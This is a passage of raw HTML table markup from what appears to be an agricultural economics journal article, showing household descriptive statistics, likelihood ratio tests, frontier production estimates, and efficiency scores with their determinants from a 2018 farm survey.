</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Frequency of extension contact</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.69</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.69</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cultivated land (ha)</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.84</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.70</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Livestock (TLU)</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.95</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.17</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Distance to the nearest market (min)</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32.97</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13.32</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Land fragmentation </span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.08</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.85</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Sex of the household head </span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22.37</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">77.63</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Fertility&nbsp; status of the soil</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">26.32</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">73.68</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Credit utilization</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">41.45</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">58.55</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:198.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Participation in off/non- farm activities</span></p>\r\n			</td>\r\n			<td style=\"width:45.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-</span></p>\r\n			</td>\r\n			<td style=\"width:103.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32.24</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">67.76</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:495.9pt\">\r\n			<p style=\"margin-left:5.4pt; text-align:center\"><span style=\"font-size:10.0pt\">Source: own computation (2018)</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table </strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span></b><![endif]--><strong>2</strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span></b><![endif]--><strong>:</strong> Summary of variables used in efficiency model</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:800px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; width:185.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Null hypothesis</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:55.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Df</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:61.9pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\"><img id=\"_x0000_i1025\" src=\"file:///C:/Users/MDNUSE~1/AppData/Local/Temp/msohtmlclip1/01/clip_image001.wmz\" style=\"height:14.25pt; width:11.25pt\" /> </span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:81pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Critical value</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:85.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Decision</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:185.4pt\">\r\n			<p style=\"text-align:center\"><strong><em><span style=\"font-size:10.0pt\">H</span></em></strong><strong><em><span style=\"font-size:10.0pt\">o</span></em></strong><span style=\"font-size:10.0pt\">:</span><strong><em><span style=\"font-size:10.0pt\">&beta;</span></em></strong><strong><em><span style=\"font-size:10.0pt\">ij&nbsp;</span></em></strong><span style=\"font-size:10.0pt\">=&nbsp;<strong>0</strong></span></p>\r\n			</td>\r\n			<td style=\"width:55.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15</span></p>\r\n			</td>\r\n			<td style=\"width:61.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17.04</span></p>\r\n			</td>\r\n			<td style=\"width:81.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24.9</span></p>\r\n			</td>\r\n			<td style=\"width:85.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Accept </span><em><span style=\"font-size:10.0pt\">H</span></em><span style=\"font-size:10.0pt\">0</span><span style=\"font-size:11.0pt\"><img id=\"_x0000_i1025\" src=\"file:///C:/Users/MDNUSE~1/AppData/Local/Temp/msohtmlclip1/01/clip_image003.png\" style=\"height:13.5pt; width:11.25pt\" /> </span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:185.4pt\">\r\n			<p style=\"text-align:center\"><strong><em><span style=\"font-size:10.0pt\">H</span></em></strong><strong><em><span style=\"font-size:10.0pt\">o</span></em></strong><span style=\"font-size:10.0pt\">:</span><strong><em><span style=\"font-size:10.0pt\">&gamma;&nbsp;</span></em></strong><span style=\"font-size:10.0pt\">=&nbsp;<strong>0</strong></span></p>\r\n			</td>\r\n			<td style=\"width:55.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:61.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12.2</span></p>\r\n			</td>\r\n			<td style=\"width:81.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.84</span></p>\r\n			</td>\r\n			<td style=\"width:85.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Reject </span><em><span style=\"font-size:10.0pt\">H</span></em><span style=\"font-size:10.0pt\">0</span><span style=\"font-size:11.0pt\"><img id=\"_x0000_i1025\" src=\"file:///C:/Users/MDNUSE~1/AppData/Local/Temp/msohtmlclip1/01/clip_image003.png\" style=\"height:13.5pt; width:11.25pt\" /> </span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:185.4pt\">\r\n			<p style=\"text-align:center\"><strong><em><span style=\"font-size:10.0pt\">H</span></em></strong><strong><em><span style=\"font-size:10.0pt\">o</span></em></strong><span style=\"font-size:10.0pt\">:</span><strong><em><span style=\"font-size:10.0pt\">&delta;</span></em></strong><strong><span style=\"font-size:10.0pt\">0&nbsp;</span></strong><span style=\"font-size:10.0pt\">=&nbsp;</span><strong><em><span style=\"font-size:10.0pt\">&delta;</span></em></strong><strong><span style=\"font-size:10.0pt\">1&nbsp;</span></strong><span style=\"font-size:10.0pt\">=&nbsp;</span><strong><em><span style=\"font-size:10.0pt\">&delta;</span></em></strong><strong><span style=\"font-size:10.0pt\">2&nbsp;</span></strong><span style=\"font-size:10.0pt\">=&nbsp;</span><span style=\"font-size:10.0pt\">&hellip;&nbsp;</span><strong><em><span style=\"font-size:10.0pt\">&delta;</span></em></strong><strong><span style=\"font-size:10.0pt\">12&nbsp;</span></strong><span style=\"font-size:10.0pt\">=&nbsp;<strong>0</strong></span><span style=\"font-size:11.0pt\">&nbsp;</span></p>\r\n			</td>\r\n			<td style=\"width:55.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12</span></p>\r\n			</td>\r\n			<td style=\"width:61.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">77.56</span></p>\r\n			</td>\r\n			<td style=\"width:81.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21.03</span></p>\r\n			</td>\r\n			<td style=\"width:85.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Reject </span><em><span style=\"font-size:10.0pt\">H</span></em><span style=\"font-size:10.0pt\">0</span><span style=\"font-size:11.0pt\"><img id=\"_x0000_i1025\" src=\"file:///C:/Users/MDNUSE~1/AppData/Local/Temp/msohtmlclip1/01/clip_image003.png\" style=\"height:13.5pt; width:11.25pt\" /> </span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:468.9pt\">\r\n			<p style=\"margin-left:5.4pt; margin-right:0in; text-align:center\"><span style=\"font-size:10.0pt\">Source: Own computation (2018)</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table </strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span></b><![endif]--><strong>3</strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span></b><![endif]--><strong>:</strong> Generalized Likelihood Ratio test of hypotheses for parameters of SPF</span></span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1352f98b0.jpg\" style=\"height:261px; width:628px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table </strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:Calibri;\r\nmso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span></b><![endif]--><strong>4</strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:Calibri;\r\nmso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-end\'></span></span></b><![endif]--><strong>:</strong> Estimates of the Cobb Douglas frontier production function</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:800px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; width:144.9pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Types of efficiency</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:1in\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Mean</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:76.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Std.Dev.</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:1in\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Min</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:81pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Max.</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:144.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">TE</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.784</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.090</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.289</span></p>\r\n			</td>\r\n			<td style=\"width:81.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.946</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:144.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">AE</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.809</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.114</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.343</span></p>\r\n			</td>\r\n			<td style=\"width:81.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.977</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:144.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">EE</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.635</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.109</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.099</span></p>\r\n			</td>\r\n			<td style=\"width:81.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.911</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:6.2in\">\r\n			<p style=\"margin-left:5.4pt; margin-right:0in; text-align:center\"><span style=\"font-size:10.0pt\">Source :Model output (2018)</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:11px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table </strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span></b><![endif]--><strong>5</strong><!--[if supportFields]><b\r\nstyle=\'mso-bidi-font-weight:normal\'><span style=\'font-size:10.0pt;line-height:\r\n115%;font-family:\"Calibri\",sans-serif;mso-ascii-theme-font:minor-latin;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-hansi-theme-font:\r\nminor-latin;mso-bidi-font-family:\"Times New Roman\";mso-bidi-theme-font:minor-bidi;\r\nmso-ansi-language:EN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span></b><![endif]--><strong>:</strong> Estimated technical, allocative and economic efficiency scores</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:6.7in\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Variable</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:2.1in\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">TE</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:114.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">AE</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:1.75in\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">EE</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Coefficient </span></strong></p>\r\n			</td>\r\n			<td style=\"width:52.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Std.Err</span></strong></p>\r\n			</td>\r\n			<td style=\"width:.9in\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Coefficient </span></strong></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Std.Err</span></strong></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Coefficient</span></strong></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Std.Err</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Constant</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.6402***&nbsp;&nbsp; </span></p>\r\n			</td>\r\n			<td style=\"width:52.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0461</span></p>\r\n			</td>\r\n			<td style=\"width:.9in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.5994***</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0611</span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3656***</span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0423</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">AGEHH</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0007&nbsp; </span></p>\r\n			</td>\r\n			<td style=\"width:52.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0006</span></p>\r\n			</td>\r\n			<td style=\"width:.9in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0015*</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0008</span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0014***</span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0005</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">SEXHH</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0821***</span></p>\r\n			</td>\r\n			<td style=\"width:52.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0148</span></p>\r\n			</td>\r\n			<td style=\"width:.9in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-0.0127</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0196</span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0516***</span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0136</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">EDUCLHH</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0048**</span></p>\r\n			</td>\r\n			<td style=\"width:52.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0022</span></p>\r\n			</td>\r\n			<td style=\"width:.9in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0068**</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0029</span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0088***</span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0020</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:90.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">FOEC</span></p>\r\n			</td>\r\n			<td style=\"width:99.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0053**</span></p>\r\n			</td>\r\n			<td style=\"width:52.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0027</span></p>\r\n			</td>\r\n			<td style=\"width:.9in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0166***</span></p>\r\n			</td>\r\n			<td style=\"width:49.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0035</span></p>\r\n			</td>\r\n			<td style=\"width:67.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0171***</span></p>\r\n			</td>\r\n			<td style=\"width:58.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.0024</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td 